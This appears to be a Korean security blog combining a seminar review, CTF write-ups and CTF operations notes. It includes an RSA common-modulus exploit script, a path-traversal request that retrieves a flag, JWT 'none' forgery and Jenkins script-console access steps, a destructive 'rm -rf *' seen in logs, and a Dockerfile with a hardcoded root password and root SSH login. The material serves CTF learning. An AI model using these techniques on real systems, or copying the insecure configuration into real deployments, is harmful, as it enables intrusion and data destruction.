주관적으로 SW 개발과 비교하여 양질의 보안 세미나가 너무 적다고 생각한다.

그래서 계속 onoffmix나 twitter에 올라오는 세미나는 일단 참여하고 보는데 요번 컨퍼런스도 그랬다.

이 후기는 매우 주관적이기 때문에 객관적으로 세미나가 어떤지를 알고 싶다면 비추천한다.

 

발표자를 살펴보는데 어...? 아래 짤이 생각났다.

보안 업계에서 일하시는 분들이야 뭐 말할 것도 없었고 고등학생분들이나 대학생분들이 SNS나 CTF 대회에서 자주 보던 분들이였다.

 

타켓은 중고등학생과 학부생이였지만 아무래도 중고등학생 분들을 타겟으로 많이 잡으신 것 같았다.

내가 고등학생 때 이런 세미나가 있었다면 얼마나 좋았을 까를 생각하며 현 고등학생 분들이 부러웠지만 또 이러한 세미나를 찾아서 중요한 시간인 학기 중 주말에 시간을 내서 듣고 있다는 걸 생각하면 대단하기도 했다.

 

1부 고등학생 부분에서 참 잊지 못할 일이 하나 있었는데.. 그 분이 후기를 검색할 수 있기 때문에 서술은 생략하겠다.

더보기

내가 동아리에서 가르치는 입장이 되서 수업을 진행했던 적이 있는데 그런 다수를 대상으로 발표해본 적이 없어서 떨렸던 적이 있다.

그 날 끝나고 친절한 분들이 음료수도 사주시고 좋게 끝났는데 너무 긴장한 탓인지 신경이 예민해져서 그 날 너무 힘들었던 기억이 난다.

1부는 참 인상깊었다. 물론 첫 세션이라 제일 텐션이 높았기도 했지만 고등학생 분들이 그 나이때 부터 자기 실력이 객관적으로 뛰어나더라도 엄청 노력을 하고 있고 자기의 장래와 실력향상에 대해 진지하게 고민을 한다는 점이 인상깊었다.

 

2부는 대학생 부분이였는데 중부대 분이 인상깊었다.

내가 가려고 했고 붙었던 대학이기도 했는데  진짜에요

이미지 마스킹 해제 가능해도 오래전꺼라 뭐..

 

그 학교 수업 커리큘럼이나 동아리 문화를 보니 살짝 부러웠다 ㅎㅎ..

동아리 문화는 동아리가 추구하는 방향이란게 있으니 어쩔 수 없지만 내 학교 보안학과에 대해선 안타까움이 너무 많기 때문이다. ... ......

보안업계가 좁다보니 이렇게 저렇게 연이 있는 분이셨는데 내가 동아리 운영관련해서 궁금했던 점에 대해서 컨설팅 해주듯이 잘 조언해주셔서 고마웠다 ㅠㅠ

동아리 방향성에 대해 고민할 때 생각해보아야 겠다.

 

3부는 예측은 했지만 보안업계에 대한 얘기를 해주셨다. 스틸리언 발표자님을 SSL 면접 이후 오랜만에 봐서 반가웠다

4부는 BoB분들이 BoB 팁을 주시는 시간이였다고 생각한다.

후 내년에는 진짜 가고싶은데 ㅠㅠ 진짜 기본기를 쌓고 하기로 했던 하고 있는 했던 연구들에 시간을 더 써서 내것으로 만들어야 겠다...

 

마치 아이돌 팬들이 아이돌 관련 주접을 떨던 트위터 스페이스처럼 마음이 뭔가 포근해지는 시간이였던 것 같다.

나와 비슷한 길을 가는 사람들, 내가 언젠가 볼 사람들, CTF 같은 보안 대회나 SNS에서 "이 사람 대단하다"

라고 하는 "이 사람"들을 만나서 더 그랬던 것 같다.

 

앞으로도 이런 세미나가 많이 있었으면 좋겠다.

우리 동아리도 이렇게 대규모는 아니지만 세미나를 계획하고는 있는데 각자 너무 바뻐서 열심히 날짜를 잡아봐야 겠다.

바빠서 집중은 못한 대회였다 ㅠ.ㅠ

CRYPTO

RSA Stream

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

"from flag import m" 못 보고 Q&A 했다가 운영진에게 코드를 읽으면 됩니다라는 어디 숨고 싶은 답변을 들었다 ㅠ.ㅠ

로직은 귀찮아 보이지만 핵심은 같은 modulus에 대해 다른 e가 쓰이고 있다는 점이다.

common modulus attack이라고 하는 이 공격법의 핵심은 아래와 같다.

$$ M^k \bmod N * M^l \bmod N = M^{k+l} \bmod N $$

M < N 이기 때문에 k+l 만 1로 만들면 되는 것이다.

a,b 모두 0이 아니므로 베주 항등식을 적용하면 아래와 같이 $ e_1x + e2y = 1 $ 인 값을 찾으면 된다.

여기서는 확장된 유클리드 호제법을 사용하면 좋다.

ax + by = gcd(a,b)
gcd(e_1, e_2) = 1
e_1x + e_2y = 1​

 https://hackmd.io/@syru/Hy2J_ySZu

 

The Extended Euclidean Algorithm - HackMD

# The Extended Euclidean Algorithm $ax+by=\gcd(a,b)$를 만족하는 베주 항등식(Bézout's identity)의 계수(Coefficien

hackmd.io

최종적인 PoC는 다음과 같다.

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Util.Padding import pad

def egcd(a1, a2):
    x1, x2 = 1, 0
    y1, y2 = 0, 1
    while a2:
        q = a1 // a2
        a1, a2 = a2, a1 - q * a2
        x1, x2 = x2, x1 - q * x2
        y1, y2 = y2, y1 - q * y2
    return a1, x1, y1

f = open("chal.py","rb").read()
enc_f = open("chal.enc","rb").read()

n = 
e = 65537

enc_data = []
for a in range(0,len(f),256):
  q = f[a:a+256]
  enc_q = enc_f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  enc_q = bytes_to_long(enc_q)
  c = q ^ enc_q
  enc_data.append((c, e))
  e = gmpy2.next_prime(e)

c1, e1 = enc_data[0]
c2, e2 = enc_data[1]
_, s1, s2 = egcd(e1, e2)
print(long_to_bytes((pow(c1, s1, n) * pow(c2, s2, n)) % n))


사실 이런 유형 문제는 너무너무너무너무 많이 나온 나머지 정리된 포스트가 많다.
내 즐겨찾기에 있는 것을 뒤져보니 여기도 해당 유형이 소개되어있다.
https://myblog.isnt.site/a-year-of-ctf-rsa/

 

A year of CTF RSA | Haven 4 BREAD

1년정도 CTF 뉴비로 있으면서 (아직도 뉴비지만) 겪었던 RSA 문제들의 유형을 대략 정리했습니다.

myblog.isnt.site


최근 SNS를 보면 이런 유형의 RSA는 이제 그만나올법도 되지 않았나라는 말이 있는 것 같다.

후.. 나도 좀 선형대수학 지식 쓰고 행렬 계산하고 bit flip하고 그런 걸 하고 싶지만 말만 한다고 지식이 들어오는 것은 아니니까 하고 있는 프로젝트 들이 마무리 되면 계획 잡고 공부해봐야 겠다.

 

이 문제와 큰 관계는 없지만 RSA 관련해서 읽어보면 좋은 글도 하나 첨부한다.

https://www.secmem.org/blog/2020/07/19/RSA-Puzzles/

 

RSA Puzzles

서론 RSA는 공개키 암호의 일종으로, 공개키를 통해 평문을 암호화할 수 있으며 비밀키를 통해 암호문을 복호화할 수 있습니다. 이 때 비밀키로부터 공개키를 구할 수는 있지만, 공개키로부터 비

www.secmem.org

WEB

API

로그인 페이지를 보고 sqli를 하고 싶어지지만 착하게도 소스코드가 주어져있다.

페이지 로직은 다음과 같다.

1. 회원가입 ( 불친절하게 회원가입 버튼이 없다,,, )
2. 로그인
3. "admin이 아닙니다" 하고 다시 로그인 페이지

...

3번에서 막혔었다.
그래서 삽질하면서 여러가지 가능성을 뒀었다.
1. 굳이 함수로 짜져있는 redirect
2. php loose comparision 취약점
3. 배열을 인자로 넘겨서 acc[2]를 만드는 것
4. Bruteforce

1번이 그 해답이였다.
redirect 메소드 코드는 아래와 같다.

public function redirect($url, $msg=''){
	$con = "<script type='text/javascript'>".PHP_EOL;
	if ($msg) $con .= "\talert('%s');".PHP_EOL;
	$con .= "\tlocation.href = '%s';".PHP_EOL;
	$con .= "</script>".PHP_EOL;
	header("location: ".$url);
	if ($msg) printf($con, $msg, $url);
	else printf($con, $url);
}

철저하게 client side에서 동작하는데 언제나 client side에서 이루어지는 것은 의심해보아야 한다.

challenge 메소드를 확인해보면 redirect 후 끝내는게 아닌 친절하게 c2 파라미터로 받은 것도 확인해준다.

function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

export_db 메소드를 확인해보면

public function export_db($file){
		if ($this->is_pass_correct()) {
			$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
			$path .= "db".DIRECTORY_SEPARATOR;
			$path .= $file;
			$data = file_get_contents($path);
			$data = explode(',', $data);
			$arr = [];
			for($i = 0; $i < count($data); $i++){
				$arr[] = explode('|', $data[$i]);
			}
			return $arr;
		}else 
			return "The passcode does not equal with your input.";
}

db 파라미터의 해당하는 파일을 다운로드 받아주는 것을 알 수 있다.
api 자체는 /db/*.db 를 다운 받는 것을 의도했지만 /db/../../../../../../flag를 통해 flag를 다운받을 수 있다.

그전에 passcode가 필요하기 때문에 아래와 같이 파라미터로 주면 획득할 수 있다.

c=i&c2=gp

'''
HTTP/2 302 Found
...

<scripttype='text/javascript'>
location.href='/api.php?#accessdenied';
</script>
":<vNk"
'''

이 후 상대 경로를 통해 flag를 다운받을 수 있다.

c2=gd&pas=:<vNk&db=../../../../../flag

'''
[
  [
    "ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"
  ]
]
'''

문제 풀이에 지장을 주지는 않지만 apache config 파일의 의도와 다르게 db 파일에 접근이 되는데

그 이유는  docker container 외부 접속 포트로 설정해서 그런 것 이였다.

로컬에서 docker container 내부 서비스 포트로 설정하니 제대로 동작하였다.

'write up' 카테고리의 다른 글

2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13
애매하게 아는 것은 모르는 것과 크게 다르지 않다.

23일에서야 선배의 연락을 받고 대회를 알게 되어 마감 직전에 신청한 준비를 제일 못한 대회였다.

CCE 라고 해서 처음 보는 대회라고 생각했는데 작년 군대 사지방에서도 참여했던 사이버 공격방어대회였다.

그 때 기억으로 이 대회의 특징은 하 난이도 문제를 내주며 포렌식이 많다는 것이였다.

SSTI 나 Prototype Pollution 가 나올 것 같아서 새벽에 잠깐 보고 잤는데 말 머리에 쓴대로 잠깐 본건 아무 의미 없었다.

 

해결

  • WEB
    • Search king
      • 검색에 SQLi를 시도했으나 성공적이지 못했으나 제목, 글쓴이에 없는데 자료가 검색된걸 보고 아 범위에 내용이 존재하는 것을 파악해 script 짜서 돌리면 된다.
  • CRYPTO
    • ROX
      • key[_%7] 코드로 키 길이가 7임을 유추할 수 있다. FLAG Format이 cce2021{~~}임을 이용하여 'cce2021' 와 key^'cce2021' 상태인 암호화된 데이터를 xor 연산하면 key를 얻을 수 있다.

미해결

 

  • CRYPTO
    • TES
      • 처음에 AES만 보고 아 이거 padding oracle 또 낸건가 하고 바로 풀 수 있겠다라는 기대감에 시작했다.
      • 정작 padding oracle attack을 공부 해본적은 없는 상황에서..
      • 로직 분석 및 삽질기는 내일 풀면서 이어 쓰겠다.
  • WEB
    • prototype pollution 대잔치였지만 내가 알지 못하였다.
  • REV
    • Read_For_Me
      • wasm 코드를 해석해야 하는 문제여서 wasm2c나 wasm2js로 돌아다니는 것들을 써봤는데 잘 안됬다...
      • 알고보니 console에서 function call을 통해 해결할 수 있었다.

지금은 졸리니 좀 자고 미해결 문제 ( TES 최 우선 !!!!! ) 와 코드로 로컬에 구축할 수 있는 문제는 다시 풀어봐야겠다.

문제 퀄리티는 만족스러웠다.

 

개인적으로 화이트 햇 때 어려운거 ( 사실 귀찮은 것이라고 해야 될 것 같다. ) 맞추고 근거없이 높아진 자만을 낮추는 좋은 계기가 된 것 같다.

 

'write up' 카테고리의 다른 글

ACSC 2021 CTF 후기  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13

요번주 주말에는 2021 대한민국 화이트햇 콘테스트에 참여했습니다.

대회기간은 9.11 am 9 ~ 9.12 am 9 으로 24h동안 진행되었는데 다음날 아침이 되보니 조금 아쉬웠습니다.

 

리버싱, 크립토, 웹을 톡톡 건들여 보다가 젤 방향이 보이는 웹에 몰두해서 다행히 한 문제를 풀어냈습니다.

 

제가 푼 웹 문제는 사실 OSINT에 가까웠습니다.

 

mini-realworld란 문제를 풀었는데 ( 이름부터 osint처럼 생기긴 했습니다. )

 

1. jwt none algorithm을 이용해서 admin token을 만들어냅니다.

  전 jwt.io를 활용하는데 인터페이스가 편해서 좋습니다.

2. mypage에서 다양한 정보를 얻을 수 있는데 "Whitehat-NowYouSeeMe"와 "commit ~~~"가 중요 정보라고 볼 수 있습니다.

3. 바로 github를 찾아보니 repo가 존재해서 commit 기록을 살피면서 jenkins 접속 주소와 api token 정보를 얻을 수 있었습니다.

4. 사실 여기서 1차 해맨게 전 당연히 admin api token인 줄 알고 admin으로만 하다 계속 실패했습니다.

5. Whitehat-NowYouSeeMe 계정으로 cli를 통해 접근하면 됩니다.

curl ${JENKINS_주소} --user 계정:API_TOKEN

6. 이후 4시간동안 무한한 삽질을 시작합니다. createUser 부분을 찾아내서 post로 form data보내서 계정 만들어서 접속까지 했습니다.

7. 그래서 스크립트 콘솔로 쉘을 실행하는데 딱 ls 바이너리만 실행권한이 있길래 쉘에서 뭘 하는게 아닌가 하고 열심히 뒤졌는데 누군가가 제 계정 비번을 계속 바꿉니다.

8. 그래서 아 귀찮네 하고 다시 cli에서 /scriptText를 통해서 스크립트 결과를 받는데 그냥 혹시나 해서 ls /tmp 했는데

FLAG가 왜 여기서 나오죠...?

 

흑 재밌었는데 너무 삽질한 나머지 현타오는 문제였습니다.

 

제가 건들였던 것은 일단 BitTrader란 문제가 있었는데

sqli가 되는데 from 절 이후로 파라미터에 입력하는 거 같은데 여러 문자가 필터링 됩니다.

필터링 대상 : single quote, double quote, backtick, parentheses <-- (, )

 

정보 조회로 제일 먼저 @@version 정보를 알아내니 5.7.35 여서 왜 5.7버젼일 까를 고민하다 생각한게 아 파일에 뭔가 하는 거다라는 생각이였습니다.

그래서 @@Global.secure_file_priv도 조회하니 /tmp더라고요.

그래서 아 /tmp 에 있는 세션을 읽거나 아니면 세션에 내가 원하는 값을 넣는거다

근데 문제가 load_file을 하기엔 parenthesis가 필요하고 into outfile을 하기엔 quote가 필요합니다.

여기서 접고 real world 갔습니다.

 

후반부엔 join을 써먹어볼 까 했는데 join을 어떻게 쓰는지 잘 몰라서 결국 시간이 끝났습니다.

join을 좀 더 공부해서 다음에 포스팅 해보겠습니다.

 

출제자가 공개한 풀이 방향은 join으로 well known table들을 on, where 절을 통해 불러오는 heavy query 였습니다.

select * from ${symbol} 일지 select col_name, col_name from ${symbol}일지로 고민했는데

select * from price_$[symbol} 이였을 줄이야 ㄴㅇㄱ...

 

mudbox는 선배한테 풀이를 조금 들었는데 openbase dir bypass 이외에도 disable_funtions 를 우회해서 풀 수 있다고 한다 그걸 좀 더 알아봐야 겠다.

진짜 보면 볼 수록 PHP란 언어는 CTF 특화인가 싶네,,,

 

N = 2048bit prime ( not p * q )
e = 0x10001
flag_enc = flag^e mod N
ed mod phi(N) = 1 인 d로 decrypt 가능

output이 enlighten 함수 실행결과
hex ( random(1~2^1024) * 2048bit prime + (1~2^1022*3) ) 

0A가 일종의 separator인듯 
0A로 output을 구분 가능할 것으로 보임

euclid 문제는 여기까지 정리하고 음 random의 특수 경우의수를 기대하는 건 아닐거 같고 codegate babyrsa때 처럼 bit로 장난치는건가 했는데 나중에 주워들으니 Approximate Common Division이라는게 있는 것 같다.

 

입상하려면 리버싱, 크립토도 풀어야하는데 언제 준비할지 모르겠다 @.@...

'write up' 카테고리의 다른 글

ACSC 2021 CTF 후기  (0) 2021.09.26
2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26

올해 저는 교내 보안동아리 K.Knock의 부회장으로 활동 중입니다.

저희 동아리의 연례행사인 웹 사이트 공방전이 8월에 이루어졌습니다.

웹 사이트 공방전은 준회원들이 직접 개발한 웹 사이트를 서로 여러 공격 기법을 활용하여 정해진 시간 동안 모의 해킹하고 쉬는 시간 동안 여러 보호 기법을 적용하여 공격을 방어하는 구조로 이루어집니다.

 

올해 대회는 08-24T 12:00 ~ 08-26T 15:00까지 51시간 진행되었습니다.

 

운영 방안을 두고 고민을 많이했습니다.

우선 대회 시작 전 준비 얘기부터 시작해보겠습니다.

 

예상 참여인원이 작년보다 많아서 이 트래픽에 대해 먼저 고민하였습니다.

서버 관리담당 인원과 1차 회의 결과 AWS Free-tier를 활용해서 팀마다 서버를 돌리기로 하였습니다.

팀 내 유저마다 격리를 위해 docker를 활용하기로 해서 제가 기초적인 환경이 설정된 이미지를 만들기로 하였습니다.

 

제가 처음 생각한 이상적인 구조는 httpd 이미지나 php 이미지를 베이스로 해서 여러 가지 프로그램 설치 구문을 추가하여 이미지로 만들고 해당 이미지와 mysql 이미지를 활용해서 docker-compose로 손쉽게 구성하도록 하는 것이었습니다.

 

근데 여기서 첫 번째 고민이 생깁니다.

docker container에 대한 운영주체가 준회원이라는 점이었는데 뛰어난 실력을 가진 분들도 많지만 대부분 새로운 환경 적응을 어려워하기에 처음 생각한 구조를 바꿀 필요가 있었습니다.

 

그리하여 가장 많이 사용해봤을 우분투 이미지를 기반으로 해당 이미지 내에 Apache2 + Php + Mysql8을 구축하는 방향으로 생각을 바꾸었습니다.

 

초기 환경 테스트를 위해 참여 인원들에게 환경 구축을 해보도록 했는데 문제가 생깁니다.

mysql 연결이 계속 에러가 나는 겁니다.

 

free-tier에 container 여러 개를 돌리다 보니 문제가 생긴 것 같은데 제 테스트 환경에선 문제가 없었어서 더 난감했습니다 ㅠㅠ...

 

고민 끝에 낸 해결방안은 supervisor 데몬을 활용하여 mysqld가 꺼져도 다시 켜질 수 있는 구조를 구축하는 것이었습니다.

 

[program:apache2]
command=/usr/sbin/apache2ctl -D FOREGROUD
autostart=true
autorestart=true

[program:mysql]
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/bin/mysqld_safe
autostart=true
autorestart=true

[program:sshd]
command=/usr/sbin/sshd
autostart=true
autorestart=true

superviosr는 다음과 같이 설정하였습니다.

autostart는 초기에 자동으로 키는 것이고 autorestart는 꺼졌을 때 자동으로 재시작을 활성화하는 옵션입니다.

 

FROM ubuntu:20.04

ARG DEBIAN_FRONTEND=noninteractive
ENV TZ Asia/Seoul

RUN sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list \
	&& apt-get update

# apache2 + basic tools
RUN apt-get install -y apache2 wget vim net-tools tmux curl lrzsz \
	cron python3-distutils tzdata rdate openssh-server supervisor

# SET TIMEZONE
RUN ln -fs /usr/share/zoneinfo/Asia/Seoul /etc/localtime

# php7.4
RUN apt-get install -y php7.4
RUN apt-get install -y php7.4-bz2 php7.4-cgi php7.4-cli php7.4-common \
	php7.4-curl php7.4-dev php7.4-fpm php7.4-gd php7.4-json php7.4-ldap \
	php7.4-mbstring php7.4-mysql php7.4-odbc php7.4-opcache php7.4-readline \
	php7.4-snmp php7.4-soap php7.4-tidy php7.4-xml php7.4-xmlrpc php7.4-xsl php7.4-zip

# apache-php
RUN a2enmod proxy_fcgi setenvif
RUN a2enconf php7.4-fpm

# mysql8 - not yet
RUN apt-get -q -y install mysql-server-8.0
RUN wget -q https://gist.githubusercontent.com/l0vey0u/9c55d839c0a8774722569b8e5e07e263/raw/9cfcf119fcabb9e510bf83745bb8e0a6e1660658/mysql_secure.sh -O mysql_secure.sh
RUN chmod +x mysql_secure.sh && service mysql restart && ./mysql_secure.sh "toor" \
	&& mysql -uroot -ptoor -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor'; flush privileges;"

# install pip
RUN curl -s https://bootstrap.pypa.io/get-pip.py -o get-pip.py \
	&& ln -s /usr/bin/python3 /usr/bin/python \
	&& python get-pip.py \
	&& pip install pymysql
  
# ssh
RUN sed 's/#PermitRootLogin.*/PermitRootLogin yes/g' -i /etc/ssh/sshd_config && mkdir /var/run/sshd

# SET Supervisor
WORKDIR /etc/supervisor/conf.d
RUN rm -f supervisord.conf \
	&& wget -q https://gist.githubusercontent.com/l0vey0u/986f18ac8c868078721660538654390a/raw/307a8d7e1ea41db70ccb260767e0b4fec3969830/supervisord.conf_v2 -O custom.conf

# Setting docker-entrypoint.sh
WORKDIR /
RUN wget -q https://gist.githubusercontent.com/l0vey0u/d11a02fdff3756f736e60d817ea80385/raw/547b352060386cf69d988eaf00fa24b33ec830bf/docker-entrypoint.sh_v2 -O docker-entrypoint.sh \
	&& chmod +x docker-entrypoint.sh \
    && mv docker-entrypoint.sh /usr/local/bin/

# Time Sync 
# cron m h d ~ ~ 
RUN touch /var/log/cron_error.log \
	&& echo "0 */3 * * * root rdate -s time.bora.net >> /var/log/cron_error.log 2>&1" >> /etc/crontab

ENTRYPOINT ["/bin/sh", "-c" , "/etc/init.d/cron start && docker-entrypoint.sh"]

최종적으로 다음과 같이 구축하였습니다.

 

맨 마지막 cron 부분은 공방전이 3시간마다 flag를 변경해주는 구조로 이루어져 시간 동기화가 필요했습니다.

 

이렇게 열심히 해보았지만 성능 이슈가 해결안 돼서 결국 2차 회의를 거쳐 준회원 개인이 aws 서버를 파서 진행하는 것으로 바뀝니다.

 

다음부터는 공방전 플랫폼을 미리 만들어두는 것이 좋을 것 같습니다.

 

물론 준회원의 웹사이트 개발 진도가 빠르지 않은 것도 있었지만 공방전 플랫폼 구축 문제가 겹쳐서 예정보다 공방전이 지연됐고 이 문제로 일정이 맞지 않아 제대로 참여하지 못한 분이 있는 것이 안타까웠습니다.

 

대회 동안에 큰 이슈는 없었습니다.

사소한 이슈지만 새벽에 개인 pc를 서버로 사용하고 있던 분이 pc를 꺼버리셔서 간밤에 접속이 안 됐었습니다.

정말 예상된 상황이지만 예상을 벗어나진 않았습니다 ㅋㅋ

 

공방전에서 flag는 서버 내부와 DB내에 저장되는데 이는 RCE ( or lfi )와 SQLi를 유도한 구조입니다.

초반에는 적용된 보호 기법이 허술하여 all solve가 많이 나왔는데

대회 동안 공격 로그를 확인하면서 보호기법이 계속 발전해서 후반부에는 몇몇 준회원은 rce vector가 나오지 않았습니다.

 

제일 흥미로웠던 부분은 Maria DB를 사용했던 분이 있었는데

select load_file()

해당 구문으로 파일을 불러올 수 있었다는 점입니다.

최근엔 보통 지정된 디렉터리만 허용되게 설정돼있는데 이전 버전으로 설치한 것인지 아니면 개인의 필요에 의해서 설정을 바꾼 것인지는 확인해보지 못했습니다.

 

작년 기수 + 올해 기수로 팀이 이루어지는데 이는 선 후배 간에 소통을 유도하면서 준회원들에게 조금 더 의욕을 주고자 함입니다.

총 3팀이었는데 한 팀은 이 소통이 매우 잘 이루어져서 뿌듯했지만 두 팀은 선배 기수가 너무 바쁜 나머지 이루어지지 못한 게 아쉬웠습니다.

 

항상 느끼는 점이지만 공방전과 CTF에서는 생각해보지 못한 고수가 발견되는 것 같습니다.

한 팀을 캐리 하는 준회원 분이 있었는데 혼자서 작년 기수보다도 많은 점수를 획득하여 결국 MVP로 선정되었습니다.

 

공방전 이전, 이후로 바빠서 정신이 없어서 좀 지나고 나서 쓰다 보니 기억이 가물가물하네요

더 생각나는 스토리가 있으면 추가해보겠습니다.

 

보안 동아리에서 공방전은 꽤 의미 있는 행사인 것 같습니다.

꼭 웹이 아니여도 어떤 분야에서도 구축하고, 공격해보고 로그를 확인하고 보호 조치하는 법은 중요하기에 적극 추천드립니다.

 

올해 인코그니토 CTF 운영진으로 활동하였습니다.

대회는 08-27T18:00 ~ 08-29T00:00 까지 30시간 진행되었습니다.

 

전 날까지 동아리 공방전을 운영하고 왔던 터라 시작도 전에 힘들었습니다.

일주일에 몬스터 두캔, 아메리카노 다수, 박카스 3병...

제 간이 욕하는 소리가 들리네요.

 

우선 대회 시작전 준비 얘기부터 시작해보겠습니다.

 

처음 AWS랑 만났습니다.

 

AWS는 참 말이 많은 아이입니다.

방심하면, 설정을 잘못하면, 얼타면 과금된다고 하죠

다행히 저희 CTF에서 사용하기로 한 것은 lightsail이였습니다.

lightsail은 ec2보단 설정이 간편합니다.

그저 ssh 포트에 IP 제한 걸고 열고 싶은 포트만 열고 그정도죠.

 

ctf 사이트는 가장 유명한 ctfd 프로젝트를 사용하였습니다.

도커로 상당히 잘 구성되있어 인증서 관련하여 nginx만 건들였습니다.

 

ctfd는 참 좋긴 한데 분야가 web + crypto 같이 여러개일 때 아쉬운 것 같습니다.

KCTF 운영할 때는 좀 더 괜찮은 프로젝트를 구경해봐야겠습니다.

 

https://github.com/juice-shop/juice-shop-ctf

 

GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF a

Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF and RootTheBox - GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OW...

github.com

 

잠깐 찾아봤는데 이것도 괜찮을 것 같습니다.

 

ctfd를 로컬에서 운영하는 것도 생각했습니다.

ctf 사이트도 취약점이 있을 수 있기에 따로 격리를 위해 도커를 사용하였습니다.

 

두 번째 과제는 문제를 서버에 등록하는 것이였습니다.

docker-compose는 상당히 편합니다.

출제자가 잘 구성해놓으면 저는 docker-compose up -d --build만 하면 되죠

 

"출제자가 잘 구성해놓으면"이 핵심입니다.

대부분의 문제는 잘 구성되있었습니다.

그래서 구축 시간의 단축을 위해 아래 명령어로 패키지 저장소만 손봤습니다.

sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && apt-get update

 

한 세 문제 정도가 단순히 구축이 안되었습니다.

첫 번째 문제는 docker 이미지를 hub에 올려서 그걸 띄워달라 하셨습니다.

하지만 그걸 외부에서 어떻게 접근할지에 대한 설명이 없으셨습니다.

따로 연락을 해서 이 부분을 명확히 해서 다시 제출을 부탁드렸습니다.

 

두 번째 문제는 FROM $IMAGE로 변수에 제대로 값이 안와서 build가 힘들었습니다.

나중에 알고보니 docker-compose.yml이 같이 제공이 안된 단순한 이슈였습니다.

 

세 번째 문제는 출제자 측에서 연락이 왔습니다.

"PoC 대로 입력했는데 500 Error 가 터져요"

그래서 서버로그를 확인해보니 한글 관련 인코딩 이슈였습니다.

딱히 해결되는 것 같지가 않아서 그냥 한글을 지웠습니다.

근데 SSTI를 통해 RCE가 가능하여 id 명령어를 쳐봤는데

root로 떴습니다.

이 때 수정했어야 했습니다.

root의 힘은 어느정도냐 함은 apt install 도 가능합니다.

일단 나둔 이유는 출제자가 풀이를 위해 의도한 것이라 생각했기 때문입니다.

 

그렇게 CTF가 시작되고 얼마 지나지 않아 갑자기 CPU 사용률이 3~40%로 증가하였습니다.

얼마 안되보이지만 8 core라는걸 잊으면 안됩니다.

 

앱스토어에 server cat이라는 좋은 서버 모니터링 프로그램이 있습니다.

https://apps.apple.com/us/app/servercat-linux-status-ssh/id1501532023

 

‎ServerCat - Linux Status & SSH

‎ServerCat is a Linux monitor and Docker Management & SSH Terminal app. ServerCat makes it easy to monitor your server status on your mobile. It shows detail running status of your linux servers and docker containers. It only needs an SSH account without

apps.apple.com

무려 docker 컨테이너 상황까지 알려줘서 모니터링 보조로 사용하였습니다.

 

시작하자마자 docker container 하나가 불타오르기 시작합니다.

바로 root 권한으로 RCE가 가능했던 그 문제 였습니다.

100%... 200% ... 300% 까지 심각해지고 있어서 docker log를 확인하였습니다.

find . -name "flag"를 많은 유저분께서 돌리고 계셨습니다.

SSTI 취약점이 별다른 우회없이, 막힌 것 없이 돌아가서 더더욱 초반부터 의도하지 않았을 DoS 공격이 이루어졌습니다.

컨테이너의 상황을 알기 위해서 사용한 명령어들은 아래와 같습니다.

# docker container 전체 상황 확인
# --no-stream은 딱 그 순간만 보여주는 것 기본은 명령어를 치고나서 계속 보여준다.
docker stats --no-stream

# 특정 컨테이너 상황을 보는법
docker stats ${container_name} --no-stream

# 컨테이너 로그 확인
docker logs ${container_name}

# 컨테이너 로그 위치 
# 전 해당 경로에 접근하기 위해서 root 권한이 요구됬었습니다.
/var/lib/docker/cotainers/${CONTAINER_ID}/${CONTAINER_ID}-json.log

 

그래서 좀 cpu 사용률을 제한 할 수 없나 하고 사용한 것이 바로 --cpus 옵션입니다.

docker update --cpus "2" ${CONTAINER_ID} # 2 = 200%

최대 사용률을 제한해 놨더니 일단 서버 부하는 어느정도 해결되었습니다.

 

그런데 제보가 들어옵니다.

1시간 반만에 PoC가 안통한다고 연락이 와서 bash로 접근하려 했는데 연결이 안됩니다.

log를 확인하니 ㅎ.. 누가 rm -rf * 명령어를 쳤습니다.

 

어뷰징이 있을 수 있다라곤 생각했지만 이런 대회에서 할 거라곤 생각도 안했습니다.

그렇게 서버를 내렸고 전 라이브 패치를 시작했습니다.

 

문제 풀이에 지장이 가지 않는 선에서 어뷰징 문제만 해결해야 했습니다.

그래서 우선 USER를 root가 아닌 일반 유저로 만들었습니다.

그리고 서버내에서 flag를 찾는 문제가 아니였기 때문에 몇 가지 명령어에 실행권한을 제거했습니다.

 

나중에 컨테이너에 직접적으로 수정할이 생겨서 docker exec을 활용하려는데 문제가 생겼습니다.

일반 사용자 권한으로 접근되버린 것입니다.

